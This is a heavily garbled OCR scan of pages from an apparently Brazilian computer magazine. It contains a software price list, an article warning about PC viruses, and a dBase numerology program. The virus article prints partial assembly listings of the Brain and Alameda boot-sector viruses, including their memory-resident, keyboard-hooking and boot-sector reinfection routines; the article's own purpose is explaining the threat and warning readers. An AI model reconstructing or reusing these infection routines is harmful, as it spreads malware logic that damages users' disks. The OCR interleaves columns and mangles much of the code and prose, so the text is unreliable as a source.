SCREEN ANIMATOR progr para vinhetas e aberturas em video-cassete Cr52.80000  NEMESIS .. .. - 0 melhor jogo existente para MSX! (s6 em 5 1/4) ....... Cr$ 500,00
MSX TOP SECRET -« multiutilitario para uso com disk-drives .............. Cr$ 6.800,00  SUPER LAYDOCK - Um fantastico jogo espacial (s6 em 5 1/4) .. Cré 500,00
FINAL ZONE - Uma sensacional aventura (s6 em 5 1/4) .. Cr$ 500,00
XSW - APLICATIVOS E UTILITARIOS VAXOL oo .. Um fantastico jogo espacial (s6 em 5 1/4) Cr$ 500,00
MIRAI Uma aventura (S6 em 5 1/4) .. Cr 500,00
X E DR o ot e s s editor de em disco Cr$ 2.80000  MASK Il Uma ional (soem5 1/4).. Cr$ 500,00
MSX VOX ... igitalizador de voz 100% nacional ... Cr$ 280000  WORLD GAMES Uma selecao dos melhores esportes (so em 5 1/4) .. Cr$ 500,00
FLUXO DE CAIXA ... controle ial de e saidas . CrS 2.800.00 MSX NOW GAMES (1 8 100} ..c.ocuerrecnnnsine Pacotes com jogos selecionados (5 114 ou 3 1/2) cada: €r$ 500,00
ATENCAO
1-0s programas acima estdo disponiveisem 5114 e 3112, Para3 | que i 5 - AD COmprar nossos prog em autorizadas, confira
1/2 acrescente Cr$ 500,00 por programa; 0s programas da NEMESIS INFORMATICA LTDA. 530 de origem 100% na e naetiqueta do di se o produto e original. Nao

2 - 0 pedido minimo & de Cr§ 1.000,00;
3 - Esta tabela esta valida até o final de nossos estoques:

NACIONAL, registrados pela propria empresa ou por seus autores

deixe que o pirata Ine engane.
530 de

0s produtos de
lidade das mesmas;

aque
4 - Garantimos aos nossos clientes 5 anos de assisténcia para os

ESTAMOS CADASTRANDO REVENDAS EM TODO O BRASIL — SOLICITE GRATUITAMENTE NOSSO CATALOGO ILUSTRADO!
ATENCAO PROGRAMADORES: A NEMESIS ESTA PROCURANDO NOVOS TALENTOSI
PEDIDOS
PARA COMPRAR PELO CORREIO: ENVIE VALE POSTAL OU CHEQUE NOMINAL A NEMESIS INFORMATICA LTDA. CAIXA POSTAL 4583 CEP 20001 RIO DE

JANEIRO — RJ OU VENHA PESSOALMENTE AQ

“SHOW-ROOM" NEMESIS NA RUA SETE DE SETEMBRO, 92 — 19° ANDAR — RIO DE JANEIRO — RJ

TELEFONES: (021) 222-4900 e (0242) 42-2455
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Virus: dois exemplos praticos

Saiba como atuam os. virus nos computadores e veja como sdo
por dentro dois exemplares que infectam os PCs

Leziro Marques Silva

Atualmente, a disseminacdo dos
chamados virus constitui-se num dos
problemas mais sérios e preocupantes
para os usuarios dos sistermas compu-
tadorizados. O problema assume ma-
ior gravidade quando as circunstancias
induzem a utilizacdo de copias “infor-
mais’ de software, em especial as co-
pias piratas. Estas, aparentemente mais
atraentes pela disponibilidade e custo
tentador, sdo os veiculos mais comuns
para a introduc&o e reproducéo dos vi-
rus num sistema.

Como se dizia antigamente, o barato
sai caro! Realmente, os custos de des-
contaminac3o e de recuperacdo de da-
dos e programas podem atingir cifras
absurdas. Segundo os dados recentes
da Computer Virus Industry Associa-
tion (EUA), foram dispendidos cerca
de US$ 98 milhbes para eliminar ape-
nas os problemas de infeccdo com o
virus InterNet/ArpalNet, um dos tipos
mais simples, gerado pela travessura
de um estudante de computacio.

0 QUE SAO E COMO ATUAM

Os virus sdo programas com capa-
cidade de autoclonagem e reproducéo
constante nos meios hospedeiros onde
sdo introduzidos, inadvertida ou deli-
beradamente. O objetivo de sua ge-
racdo pode ser a simples miss&o de re-
producéo e disseminacdo de um
sistema para outro, ou a alteracdo dos
sistemas € a sua autodestruicdo sem
deixar rastros, a partir dos quais pos-
sam ser desenvolvidas defesas contra
eles. Podem infectar desde um mo-
desto sistema pessoal até um main-
frame sofisticado e milionario, via trans-
missdo telefénica ou discos
contaminados, reproduzindo-se em mi-
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SISTEMA DE MEMORIA

DISQUETE INFECTADO
l

0 virus duplica-se

0 virus penetra no-
sistema de memoria

B

0 virus infesta os programas

] .

. )

ey

SISTEMA DE
ARMAZENAMENTO A B c ( X X |
PROGRAMAS
0 virus infiltra-se
{
SISTEMA DE
ARMAZENAMENTO

PROGRAMAS INFECTADOS

Processo de virose

crossegundos e atingindo grandes
distancias a partir da fonte.

Os virus podem permanecer escon-
didos nos programas ou se infiltrarem
no sistema operacional dos computa-
dores (sistema nervoso), atingindo as
CPUs (cérebro).

Veiculados por uma fonte externa
- o software ; podem estar camufla-
dos num programa aparentemente ino-
cente, como por exemplo, um novo
jogo, a semelhancga do lendario Cavalo

de Tréia. Todos os sistemas operacio-
nais sdo vulneraveis, alguns mais que
os outros (MS-DOS, PC-DOS, UNIX,
etc).

Os perigos potenciais vao desde os
danos fisicos causados ao hardware
por sobrecarga (bastante raro), até a
alteracdo e/ou eliminacéo de dados (o
mais comum), numa reacdo em cadeia
capaz até de extrapolar o sistema afe-
tado, com efeitos teoriamente ilimita-
dos.



e ViRUS PAKISTANI BRAIN

VIRUS PAKISTANI BRAIN

CODE SEGMENT PUBLIC *CODE’
ASSUME CS:CODE,DS:CODE,ES:CODE,S5:CODE

' }BOOT SECTOR ORG!

ORG TCOOE
H

E
¥ i
BEGIN: CLI i

JMP CONTINUE :TD4E
i : ok
i DATAAREAR ¥

DB 34H,12E i
i

-7
:m POLLOWING IS THE LOCATION OF THE VIRUS MAIN BODY WHICH RESIDES INSIDE

MOV AX,[0413H] ;0040:0014 == MEMORY SIZE
SUB AX,T FSUBTRACT TK !

MOV DS:[0413H],AX : H

MOV CL,6 ;MOVE QURSELF TO TOP OF MEMORY
SHL AX,CL 3 P

MOV ES,AX

MOV SI,offset BEGIN

MOV DI,0 ;

MOV CX,1004H ;MOVE 4K + § BYTES

cLD H

HEP MOVSB

PUSH ES ; JUMP TO US UP THERE

MOV AX, 2008 H

PUSH AX

RETF

i READ A SECTOR

7 OM ENTRY : ES:BX = DTA

;OF THE 3K BAD TRACK AREA. 512 BYTES OF BOOT SECTOR, 2.5K OF VIRUS READ_ SECTOR: ;7D9¢C
L_HEAD DB 0 sHEAD PUSH cx T
L_TRACK SECT LABEL WORD i PUSH BX :
& ; e MOV CX, 4 ;RETRY COUNT = 4
RS_10: PUSE CX i
DB ] :SECTOR = e .
! MoV DL,0
EEAD B MOV cX, CF_SECT] :
* DB ? ;uszn BY READ_SECTOR i nx'[z?;u 3 L
-:.-np:x_ssc'r LABEL WORD ;USED BY READ._SECTOR ETC. AT, : READ CTOR
spﬂ.ﬂ o 3 : JHE R5_90 1 JUMP HO ERROR
s i ; Hov RH,D sRESET
/ INT 138 :
DB b Welcome to the Dungeon' - i 23 : I .
= : ' Loop R5_10 2 AGAT
Amjad { ) Ltd.
g: ; e sa.;u l‘N cgtwv‘fl;; SERVICES., INT 188 :x:.sa LOAD BASIC
b
DB '730 NIZAM BLOCK %ﬁ)ﬁmwm i =
2 5 POP BX i
HONE :430791,443248,280530. i
3; P Beware of this VIRUS. - : ;gz o ;
DB 7 contact 1us for vaccination...essseas=arssr
DB Swesselr’ N e T
R H ]
. e mmm—m——— === INC. SECTOR AND OVER FLOW INTJ HEAD & TRACE i
s JD4E i k
S A, CE m-r_ssmn ;7DCO
viov : [SECTOR] :
o el e ;u,’ .
o S hroo0n MOV rcToRaT :
MoV r i PECIT
e ECTOR JRI NS 90 x
MoV AL,[LHEAD] s INITIALIZE HEAD/TRACK/S MOV DS :[SECTOR], 1
MOV AL, [HEAD] :
INC AL e
Mov [HEAD], AL i
o E:arﬁ]_"rmcuscr\ cHp AL,2
i ECTOR . HS_80 '
- e HOV DS:(HEAD], 0 :
MOV CX,5 | READ MAIN EODY OF VIRUS INTO MEMORY Iﬂg% . :}s}rmm ¢
MoV BX,offset BEGIN + 512 (5 SECTORS LONG) Ns_90: , 4
c-10: CALL READ_SECTOR ; .
CALL NEXT_SECTOR ;
BDD BY,512 : .
LOOP c_10 ; ,
CODE EMDS ,
ERD BECIN i

Imaginem o que aconteceria, por
exemplo, nos sistemas desprotegidos
de processos de producdo industrial
controlados por computadores, siste-
mas de controle do trafego aéreo nos
aeroportos, sistemas de defesa de pa-
ises em permanente estado de alerta
ou beligerancia, na indUstria aeroes-
pacial, na medicina computadorizada,
etc. Até nos automoveis modernos
equipados com ignicdo e em especial
a frenagem comandadas por micropro-
cessadores, as conseqiiéncias pode-
riam ser fatais...

Os virus podem atuar destrutiva-
mente tdo logo penetrem num sistema,
ou entdo serem programados para per-
manecer latentes até serem ativados
- uma verdadeira bomba-relogio! Esta
ativacdo pode ser disparada por um

_

timer ou uma simples seqgiiéncia de di-
gitacdo no teclado, para acionamento
de uma dada func8o ou diretorio dos
discos.

Sdo tdo insidiosos que mesmo um
sistema aparentemente desinfectado
pode abrigar um virus pernicioso, cuja
reincidéncia é capaz de causar novos
problemas.

O pior da histéria é que tais
programas-virus sdo relativamente fa-
ceis de elaborar e que cada vez me-
nos conhecimentos especificos sdo ne-
cessarios para fazé-los penetrar nos
sistemas desprotegidos e espalha-los.

VACINAS E MEDIDAS DE PROTECAQ

Os virus apresentam sintomas qua
se sempre sutis, por vezes de identi-

ficacdo dificil pelos especialistas. A
grande maioria dos sistemas de pro-
tecdo disponiveis atualmente ndo sdo
totalmente eficientes e alguns deles
ndo sdo confiaveis, chegando mesmo
a facilitar a disseminacdo.

Uma variedade crescente de progra-
mas para a deteccdo e protecdo anti-
virdtica esta tomando conta do mer-
cado, mas apenas alguns deles tém
eficacia relevante. Um programa rastre-
ador interessante foi publicado em MS
93, para o virus denominado Trojan
1813/Sexta-Feira 13.

Em termos de protecdo, é evidente
que todos os sistemas devemn ser equi-
pados para enfrentar a batalha contra
os virus. Todavia, como numa moeda,
sempre existe um reverso, ou seja, as
capacidades de reproducéo e de adap- P
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tacdo aos diferentes meios infiltrados
podem ser utilizadas de maneira posi-
tiva para tornar os softwares mais ver-
sateis.

Este aspecto merece atencdo espe-
cial, pois os virus possuem a tendén-
cia inata de escapar ao controle. O ve-
Iho ditado de que de boas intencdes
o inferno esta repleto € muito apro-
priado ao caso.

Outra grande penalizacdo imposta
aos infectados é o tempo gasto para
corrigir os problemas e com a recupe-
racdo dos dados perdidos, em adiacdo
a propria interrupcdo dos sistemas en-
quanto ocorria a virose.

DOIS EXEMPLOS PRATICOS

Os virus que ficaram mais famosos
e gue tanto tém afligido os Estados

Unidos e a Europa sdo os seguintes:
InterNet, Pakistani Brain, Trojan 1813,
IBM, Israeli, Lehigh, Chlrstmas 1704,
MacMag, Scores, nVIR, Amiga,
Alameda-Merritt, etc.

A titulo de ilustracdo, segue-se a dis-
secacdo dos virus PakistaniBrain e Ala-
meda College, efetuada pela Interpath
Corporation (USA). Por motivos 6b-
vios, a listagem é apenas parcial e, por
si sO, in6cua.

O virus Alameda College foi criado
no Merritt College, Oakland, Califor-
nia, em 1988. O Pakistani Brain surgiu
no Lahore, em 1986, espalhando-se ra-
pidamente pelo universo dos micro-
computadores PC.

Foram criados para a variedade
“floppy only”, agindo pelo redirecio-
namento da facilidade de interrupcéo
do processo pelo teclado (INT 0SH)

para as segiiéncias ALT-CTRL-DEL. Ao
encontra-las, mobiliza-se para conta-
minar qualguer floppy no drive A.

CONCLUSAO

Concluindo, chamamaos a afencdo
dos usuarios: quase sempre a eco-
nomia mesquinha conduz a resulta-
dos desastrosos. Um alerta, pois,
conira os piratas e as copias de ori-
gem duvidosa - a semelhanca da luta
contra a AIDS, é melhor evitar os
“grupos de risco*..

LEZIRO MARQUES SILVA é formado em
Geologia pela Universidade de Szo Paulo,
& ex-professor da Universidade Federal de
Santa Catarina e MSc em Engenharia Ci-
vil pela A.S.U. Esta atualmente vinculado
a CETESB-SP.

VIRUS ALAMEDA COLLEGE
VIRUS ALAMEDA COLLEGE
; MOV DI,offset OLD_09 OLD_09 (IN OUR HI CODE!)
ORG 7C00E i Lt EX-00 -+ {
i
REP HOVSE
TOS LABEL WORD ; TOP OF STACK
MOV Word Ptr(9*%4),0ffset m:w_os
; . MOV [(9%4)+2],E5
7 1. Find top of memory and copy ourself up there. (keeping same offset); STI
: 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
i 3. Redirect int % (keyboard) to ourself in top of memory ;
i 4. Jump to ourself At top of memory i i :
i 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; . b
! z RESET KEYEOARD, TO ACFNOWLEDGE LAST CHAR
BEGIN: LI s INITIALIZE STACK
XOR AX,AX H
MOV §5,A% i
MOV SP,offzet TOS 1 ACK XEYBD T
STI i on AL, 61H sRESET FEYBOARD THEN CONTINUE
: MOV AH, AL P
MOV EX,0040H 7ES = TOP OF MEMORY - (7CO0H+512) OR AL, BOE ;
MOV DS, BX 5 XCHG AL,AH
MOL BX 7 auT 61H,AL 3
sSUB AX, 07EQH (7CO0H+512) /16 THP RBOOT ;GO TO REQDT
MOV ES,AX :
¥ ¥ - it
PUSH C5 D5 = 5 ; DATA AREA WHICH IS NOT USED IN THIS VERSION
BOP DS 7 ; REASON UNENOWN
TABLE DB 27H,0,1,2 s FORMAT INFORMATION FOR TRACK 39
a1 DI,3456H #IF THE VIRUS IS H.EB’DUTING_A.- DB 27H,0,2,2 : { CURRENTLY HOT USED)
JNE B_10 i DB 27H,0,3,2 §
DEC Word Ptr [COUNTER_1] -+ LOWEHI : COUNTER_1— DB 278,0,4,2 =
) DB 27H,0,7,2
B_10: MOV SI,SP $SP=T7C00 COPY SELF TO TOP OF MEMORY DB 27H.0.8.2 b
MOV DI,SI : Dl 5
MO, :xo{:;z i ATCIA LABEL BYTE .
REF oW 00024H FHOT USED
MOV SI,CX 7CH=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO ;g g’;”c:
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR BI CODE 0026
MOV cx,128 3 e} gabaen
b Hoen < JLTCAL:
CALL PUT__NEW..09 +SAVE/REDIRECT INT 3 (KEYBOARD) A2 X AHOTUSED
PUSH ES ;ES=HI +JUMP TO OUR EI CODE WITH o o3
“FOP cs i 35 =ES s s1
PUSH DS ;D5=0 JES = DS ;g;? 2 L
POP i -
i i JHe 1111:1111 :
MOV BX,SP #SP=7C00 ;LOAD REAL EOOT SECTOR TO 0000:7C00 2 it
MOV DX,CX FCX=0 ; DRIVE A: HERD O 4
MoV CxX, 27088 :  TRACK 40, SECTOR B ; IFALT & CTRL & DEL THEN ...
MOV AX,;0201H i READ SECTOR ; IFALT & CTRL & 7 THEN ...
INT 13H H (common:to B/ S:sectl Lf2s3dadt): 0 o0 0 n e e L S e T 3
JB 5 H HANG IF ERROR et
i NEW09: PUSHF
4 STI
- JMFP JHP_BOOT ;JMP 0000:7C00 i
L PUSH A T
i i PUSH DS i
? SAVE THEN REDIRECT INT 9 VECTOR h
PUSH cs 7DS=C8
01, ENTRY: DS =0 i POP DS i
i ES = WHERE TO SAVE OLD_09 & H{IJ i
3 WHERE NEW_039 IS (a1 5 MOV BX,[ALT_CTRL) 7BX=SCAN CODE LAST TIME
: ™| AL,G0H ;GET SCAN CODE
7 T MOV AH,AL 1SAVE IK AH
PUT_NEW_03: i AND AX,B87FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AN
DEC Word Ptr [0413H) 1TOP OF MEMORY (0040:0013) —= 1024 ;
focts] AL,1DH ;IS IT A [CTRL]. .
MOV S1,9%4 7COPY INT § VECTOR TO ONE ®09_10 . JUMP IF NO
MOV BL,AH [BL 08 ON KEY DOWN, EL= 85 ON KEY UF)
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Jmp NOS_30 H
2 N 13 :
HO9_10: CMP AL,38H 15 IT AN [ALT]. . . Hoy AX, 0201 #READ BOOT SECTOR
JRE HO9_20 o0 JUME'IF NO | EOSH bs i
MOV BH,AH 7 (BE=08 ON FEY DOWN, BE~ 88 ON KEY UP) i BE
amE HO9_ 30 : MOV BX,0ffset BEGIN H
) MOV cX, ;TRACK 0, SECTOR 1
NOS_20: CMF B, 0808E #IF (CTRL DOWN & ALT Dowm) , |, , INT 134 i
JNE N09_30 iy . JUMP IF NO M13_81: POPCX i
IHB H15_90 T
o AL,17H 3TP(T)--x Loop N1%_22 i
2 M09 x0 e ae K19_10 i IF RETRY EXPIRED. . . LOAD BASIC
farti3 AL,53H ;IPDEL]. .. i
JE ACE_FEYBD i...JUMP IF YES Fa =
H09_30: MOV [ALT_CTRL],EX sSAVE SCAN CODE FU EXT TIME :_ i
HO9,_90: POP DS 5 N19_90:  CMP DI, 3456 ;1P NOT FLAG SET. ..
POP BX 7
POFF i INz RE_TIKRFECT 7. .RE INFECT
oz o548 SOHEEDCD-ESED IE_BOOT: :PASS CONTROL TO BOOT SECTOR
el oW £ e 0000:7C008 i
oW OF000H i L
NOS_X0:  JMPNHO9_X1 ; ;
I Trwked | mas -7
E i RE__INFECT: ;
s e MOV SI,o0ffset BEGIN 7COMPARE BOOT SECTOR JUST LOADED WITH
a MOV CX, 00E6H ; OURSELF
HBOOT: MOV DX, 03DEE ;DISABLE COLOR VIDED 1717 MOV DI,SsI ;
HOV AX,0B00E ;AL=0, AH=DELAY ARG PUSH == :
ouT DX,AL e CLD :
CALL DELAY i REFE CMPSE ]
MOV [ALT__CTRL), AX PAd=0 H JE RI_12 i IF NOT EQUAL...
i IHe Word PLr ES:[COUNTER 1) 7 INC. COUNTER IN OUR CODE (NOT DS{)
Mo AL,3 ;AH=0 7SELECT §0x 25 COLOR 3
INT 10H i MAKE SURE TRACK 39, HEAD 0 FORMATTED H
MOV aH,2 #SET CURSOR POS 0,0 MOV BX,offset TARLE : FORMAT INFO
XOR DX, DX i MOV DX, 0000 sDRIVE A: HEAD 0
MOV BH,DH 7 PAGEO MOV CH,40-1 s TRACK 38
INT 10H i MOV AH,5 s FORMAT
£ fostid RI_10 : REMOVE THE T OPTION FOR NOW |
MOV AH,1 1SET CURSOR TYPE ; FORMA H
MOV X, 06078 : < < < NO EXECUTION PATH TO HERE » » » 3
INT 108 JB RI_&0 %
sDELAY (AL=20H FOR EOI BELOW) i
nmuLv' gig.;zw ! : WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR §, HEAD 0
H RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
ot 3 MOV BX,0ffset BEGIN STRACK 408
7SENRD EQOTI TO INT CONTROLLER MOV CL,B iSECTOR &
ST Z0E-RL 5 MOV AX, 03015 SWRITE 1 SECTOR
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS INT 138 ;
MOV DI, CX ;  (REMOVING OUR INT 09 HANDLER!)} ; ;
S 5T,offset BEGIN - 128 5 PUSH cs i |ES=CS FOR PUT_NEW._0% BELOW)
REP MOVSE : POP ES :
I8 RI_80 #IF WRITE ERROR. . .JUMP TO BOOT CODE
DS, CX ;CE=0 iDS=0 :
ot 5 5 MOV cX, 0001 iWRITE INFECTED EOOT SECTOR |
I MOV AX, 0301 E
MOV Word Ptr([l98*4), 0f fset NEW_19 ;SET INT 19 VECTOR INT 130
MOV [(198%4)+2),C8 5 B RI_E0 7 IF ERROR. . . JUMP TO BOOT CODE
MOV AX,0040H e M DATAARER RI_12:. MOV DI,3456H i SET " "JUST INFECTED ANOTHER ONE''. ..
MOV DS, AX : INT 188 i - . .FLAG AND REBCOT.
7 7
MOV [0017H),AH IAH=DO :FBFLAG { SHIFT STATES) = 0 RI_80: CALL PUT_NEW_.03 7SAVE/HEDIRECT INT 9 { KEYEOARD)
INC Word Ptr [0013H]) sMEMORY SIZE 4= 1024 (WERE NOT ACTIVE) DEC Word Ptr ES:[COUNTER_1) ; (DEC. CAUSE DIDNT INFECT)
i Jup JMP__BOOT :
PUSH bs iIF BIOS FODO:E502 == Z1E4... it
MOV AX, 0F000H : ke
MOV DS, AX : T
CHE Word Ptr [0E502H], 21E4H i = i
rOP DS 7 I09_x1: MOV [ALT_CTRL),BX 7SAVE ALT & CTRL STATUS
JE B_90 i =
IaT 198 47  IFNQT...REBOOT MOV A3, [COUNTER 1] $PUT COUNTER_1 INTO RESET FLAG
5 Mov BX, 00408 7
R_90: JMEP OF000:DES02H 7...DOIT?IZIZ1 MOV DS, BX ;
i MOV [0072H], AX i 0040:0072 = RESET FLAG
; ; THP H09_90 5
; REBOOT INT VECTOR y 3 3 i
H I i DELAY H
NEW_19: XOR AX,AX ; ON ENTRY AH:CY = LOOP COUNT
MOV DS, AX sDE=0 T e e R 5
MOV AX,[0410] ;AX=EQUIP FLAG DELAY: SUB CX,CX :
—01: LooP § ]
TEST AL, 1 #IF FLOPPY DRIVES ... ous 2l :
ang K1%_z0 i ... UMD RET ;
N18_10: PUSH C5 ;ELSE ESmCS 5
POF ES : i = i
CALL PUT_NEW.__09 7SAVE/REDIRECT INT 9 (KEYEOARD) i &
It 1l8m FLORDAASTOL Sl S S S
¥ i e e
N19_20: HOV X, 0004 s RETRY COUNT = & ATDF DE  27H,004,8,2
. COUNTER_1 DH  001CH
H19_22: PUSH CX . ALT_CTRL DW 0
MOV AH, 00 +RESET DISE ATDFC DB 27H,0,8,2

SISTEMAS DE PROCESSAMENTO
CONTAS A PAGAR E A RECEBER
CONTABILIDADE e FATURAMENTO
ADMINISTRACAO DE IMOVEIS

FOLHA DE PAGAMENTO e FATURAMENTO
(PAGAMENTOS EM ATE 4 VEZES)

® 08 0 @

Formularios, Disquetes, Fitas e toda linha de
suprimentos para informatica

MICROCOMPUTADOR
PC XT 640/704 Kb
PC AT 286/386

Rua Dom Gerardo, 63
Sala 2106

IMPRESSORAS
RIMA E
ELEBRA

MONITOR
CONTINENTAL
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O micro mistico

Em tempos de “Brida‘; um programa para seu autoconhecimento
que ird ajudd-lo a enfrentar os desafios do seu destino

Roberto Silva Francisco

Baseado nos livros “’A Ciéncia Sa-
grada dos Numeros" de Tuball Kahan
e "“Numeros - Simbolos para o Auto-
conhecimento’’ de Richard Vaughan,
eis aqui um programa em dBase llI
Plus para o IBM-PC que faz a analise
numerolégica do nome e data de nas-
cimento do leitor, extraindo os name-
ros que indicam sua personalidade,
motivacgo, carater e a tabela de fre-
giiéncia dos nimeros resultantes de
seu nome. Desse modo o leitor pode
ra ter uma visdo mais clara sobre 0
proprio destino, que esta intimamente
relacionado com a sua data de nasci-
mento.

Como nada acontece por acaso, e
em tudo ha um proposito para a exis-

téncia, nosso nome e dia de nasci-
mento contém informacdes importan-
tissimas a nosso respeito. E como se
tivéssemos sido programados para
pensar e agir de determinada maneira
com relacdo aos fatos da vida.

Indo mais além, poderiamos espe-
cular que talvez até desejassemos vir
ao mundo com o nome escolhido por
nossos pais, como forma de aprimo-
ramento e reparacdo dos carmas de
vidas anteriores. Portanto, se estiver-
mos conscientes, nosso relaciona-
mento césmico e social serd muito
melhor.

Para os que buscam a compreen
sio das coisas e o autoconhecimen
to, a numerologia proporciona infor-

Bregoture for database: D:NMUMERDS. dbf

Mumber of data records: @

Date of last update s 24/18/98

Fiwgid Fisld Name Type Wigth Dec
e Character S@
F MADCIMENT Date &
3 HMOTIVAEAD Mo ic =
42 PFERSONALID  Mumerio =
5o DARGTER Mumaric =
& DESTING Numeri 2
v N Mumesic =
He b = Pl i o 2
= i Num@ric 2
i@ RUF & Mumer o =
T D Mumeric =
12 N o Mumaric =
il Mumeri o £
14 piuM 8 Humer i o 2
15 U Mumeric =

w#% Tobtal ®#% 115
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macdes fascinantes e reveladoras, au-
mentando o potencial para um
ajustamento feliz e bem sucedido ao
nos defrontarmos com os desafios de
nossos destinos.

0S MISTERIOS DO PROGRAMA

Utilizando o dBase crie inicialmen
te a estrutura do banco de dados
NUMEROS.DBF. conforme mostrado
na figura 1, e em seguida um arquivo
de indice para o campo NOME, com
os comandos:

Create NUMEROS
Index on NOME to INDNOME

Feito isso, digite o programa da lis-
tagem NUMEROS.PRG em um editor
de texto tipo SideKick, WordStar ou
outro de sua preferéncia, gravando-o
em formato ASCIl (texto ndo-docu
mento).

Para rodar, volte ao dBase e digite:

DO NUMEROS

O sistema mantém o cadastro per-
manente de nomes, aniversarios e
analises numerolégicas que vocé in-
cluir. Porém procure antes conhecer-
-se a si mesmo, para ndo interpretar
erroneamente nem julgar os outros.

Boa sortel

ROBERTO SILVA FRANCISCO é Admi
nistrador de Empresas, Consultor de Mi-
croinformética e Sécio-diretor do Banco
de Informéatica, Comércio, Representa
cBes e Importacio Ltda.
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Do

IF

Do

ELS)

e Programa: NUMEROS.PRG _
L] i
] NUMS=NUMS+1 T
* Programa @ NUMERDS.FRG * case LETRA = “F* .OR. LETRA = "X
# Linguagem : Dbase III Flus * VALCON=VALCON TS
# Autor : Roberto 5. Francisco # MUMS=MUM&E+1 2 4
# Data : 24/10/90 = CRSE LETRA .gr .0OR. LETRA = “P" .OR. LETRA
VALCON=VALCON+Y
SET TALK OFF NUM7=HUM7 + 1 " e
BET STATUS OFF CASE LETRA = “H* .OR. LETRA = Q" .0OR. LETRA= "I
SET BELL OFF VALCON=VALCON+E
SET DATE BRIT NUMS=NLIME+ 1
USE NUMERDS INDEX INDNOME CASE LETRA = "“R"
DO WHILE _T.

NOMEVAR=SPACE (8@}

VOGAIS=0

CONSOA=B

VALVOG=0

VALCON=0

VOGAISZ=0

CONSOAT=0 =,
EXPR4=0

CLEAR

2,8 gAY "NUMEROLOGIA em dBASE"

@ 4,8 SAY “Entre Nome para Calculos :"
@ 5,0 GET NOMEVAR PICT “@!®

READ

IF  NOMEVAR = SPACE (B}

EXIT

ENDIF

SEEK NOMEVAR
IF .NOT. FOUND()

RESP = SPACE(1)
DO WHILE RESP <> "§" .AND. RESF <> "N"

@ 20,8 SAY "Nome Nao Encontrado... Cadagtra (S/N) ?"GET RESP PICT "!"
READ

IF RESP="S"
NASCIDO=CTOD(" / J/ )
@ 7,8 SAY "Entre com a Data de Nascimento: " BET NASCIDO
READ
APPEND BLANK
REFLACE NOME WITH NOMEVAR,MASCIMENTOD WITH NAECIDO
ELSE
LooP
ENDIF

ENDIF

NOMEVARZ=TRIM (NDMEVAR)
QT=LEN {NOMEVARZ}

ari=a

MHILE OT1 < OT
LETRA=SUBSTR (NOMEVARZ,QT-0T1 .13
DO CASE
CASE LETRA = "A"
VALVOG=VALVOG+1
NLUME=NUML+1
CABE LETRA = "E"
VALVOG=VALVDG+S
NUMS=NLIME+1
CASE LETRA = "I"
VALVOB=VAL VDG+7
NUMZ=NUMZ+1
CASE LETRA = "D"
VALVDB=VALVDG+&
NUME=NUM&+1
CASE LETRA = "U"
VALVOG=VALVOG+3
NUMI=NUMS+1
ENDCASE
BT1=T1+1

ENDDDO

WWDG={LTRIMI{STR (VALVDG,7) )}
TVOE=LEN{YVOG)

TVOB1=0

WHILE TVOG1 < TVOG

TVDEZ=VAL {EUESTR (VVOE, TVOB-TVOGE1 13 }
VOGAIS=VOBALIS+TVOGZ ¥
TVOG1=TVOG1+1

VWOGA=(LTRIM(STR (YOGAIS,2) ) )
TVOBA=LENM (VVOBA}

ENDDO

TVOGA=2

VDBAIS1=VAL (SUBSTR(STR (VOBAIS,2) ,1,1))

VOBAISZ=VAL {SUBSTR(STR (VOBALIS,2) ,2,1))

VDBAIS3=VOBAIS1+VOBAIE2

@ 10,0 SAY "MDTIVACAD = "4STRVALVOG,3)+" = "y
+STR (VOBAIS,2)+" = "+STR(VOGAISS,2)

EXPR1=VOGAISI

E

@ 1B,8 SAY "MOTIVACAOD

= "+STR{VALVOG,3}+" = "+5TRI(VOGAIS,2)
EXPR1=VOBAIS

ENDIF
aTi=2

WHILE OT1 < @T
LETRA=SUBSTR (NOMEVARZ ,GT-GTL,1)
DO CASE
CASE LETRA = “J" .0OR.
VALCON=VALCON+1
NUM1=NUMI+1
CASE LETRA = "B" .0OR. LETRA = *

LETRA = =

" «OR. LETRA = "T"

WAl CON=VALCON+Z
MUMZ=NLMZ+ 1 i
CASE LETRA = "C" .OR. LETRA = "L"

WALCON=VALCON+S
NUMF=NUMT+1
ENDCASE
QTI=aT1+1
ENDDD
YCON= (LTRIM{STR(VALCON, 711 1
TCON=LEN (VCON)
TCON1=0
DO WHILE TCOML < TCON
TCONZ=VAL (SUBSTR (VCON, TCON-TCONE , 1)
CONSDA=CONSOA+TCONZ
TCOM1=TCON1+1
yroNA= (LTRIM{STR (CONSDA, 21 )
TCONA=LEN (VCONA)
ENDDD ;
IF TCOMA=Z
CONSDA1=VAL (SUBSTR (STR (CONSOA,2} , 1,10
CONSDAZ=VAL tSUBSTR (STR(CONSDA,2) ,2,11)
CONSOAS=CONSOAL+CONSOAZ

@ 11,0 SAY "PERSONALIDADE = “+STR(VALCOM,3}+" = ;-
+STR(CONSOA,2)+% = “+5TR{CONSOAZ,2)
¢+ EXPR2=CONSDAS
£
ELS& 11,@ SAY "PERSONALIDADE = “+STR(VALCON,3)+" = “+STR(CONSOA,2)
EXPR2=CONS0A
ENDIF

EXPR3=EXPR1+EXPR2
EXPR4=VAL (SUBSTR(STR(EXPRZ,2) ,1,1} ) VAL (SUBSTR(STRIEXFRI, 21 ,2,10)
@ 12,02 SAY “CARATER = "4+STRIEXPR3,3)+" = "+STR(EXFR4,2)

@ 14,80 SAY 1 = "+STRONUM1,2)
@ 14,15 SAY 2 = "+5TRINUMZ,2)
& 13,38 SAY 3 = "+STRINUM3,2)
@ 14,45 SAY 4 = “+5TR{NUM4,2)
& 14,50 SAY “NUM. 5 = "+STRINUMS,2)
@ 15,28 SAY "MUF. & = "+STROMNS,Z)}
@ 1%,15 SAY “NUM. 7 = "+STRINUM7,2)
& 15,30 SAY "NUM. 8 = "+9122:3:g,§;
=1 ¥ "MUM. § = "+5 a2
§Eék533 Eﬂﬁ_} WITH NUM1,NUM_2 WITH NUMZ,NUM_3 WITH MNUM3,NUM_3 WITH NUM4,;

MUM_S WITH NUMS,NUM_& WITH NUM&,NUM_7 WITH NUM7,NUM_8 WITH NUMB,j
NUM_9 WITH NUMZ
DATA1=DTOC (NASCIMENTD)
